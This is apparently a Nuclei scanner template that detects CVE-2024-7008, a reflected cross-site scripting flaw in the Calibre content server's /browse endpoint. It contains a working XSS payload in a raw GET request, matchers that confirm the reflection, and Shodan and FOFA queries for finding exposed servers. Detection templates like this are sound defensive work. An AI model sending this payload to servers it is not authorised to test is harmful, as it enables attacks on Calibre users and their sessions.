id: CVE-2024-7008

info:
  name: Calibre <= 7.15.0 - Reflected Cross-Site Scripting (XSS)
  author: DhiyaneshDK
  severity: medium
  description: |
    It is possible to inject arbitrary JavaScript code into the /browse endpoint of the Calibre content server, allowing an attacker to craft a URL that when clicked by a victim, will execute the attacker’s JavaScript code in the context of the victim’s browser. If the Calibre server is running with authentication enabled and the victim is logged in at the time, this can be used to cause the victim to perform actions on the Calibre server on behalf of the attacker.
  reference:
    - https://starlabs.sg/advisories/24/24-7008/
  metadata:
    verified: true
    shodan-query: html:"Calibre"
    fofa-query: "Server: calibre"
    max-request: 1
  tags: cve,cve2024,calibre,xss

http:
  - raw:
      - |
        GET /browse/book/TEST&quot;;window.stop();alert(document.domain);%2f%2f HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - 'window.location.href = "/#book_id=TEST";window.stop();alert(document.domain);//&panel=book_details'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f877263fe831dfc9d50c7bcc59bdee500c35fbf4ae58349ebf0ce75bd148f5ac022100c9f9b8aad8665593904349c685e99e4e56ecd7775aabff5c26841a1311f4c762:922c64590222798bb761d5b6d8e72950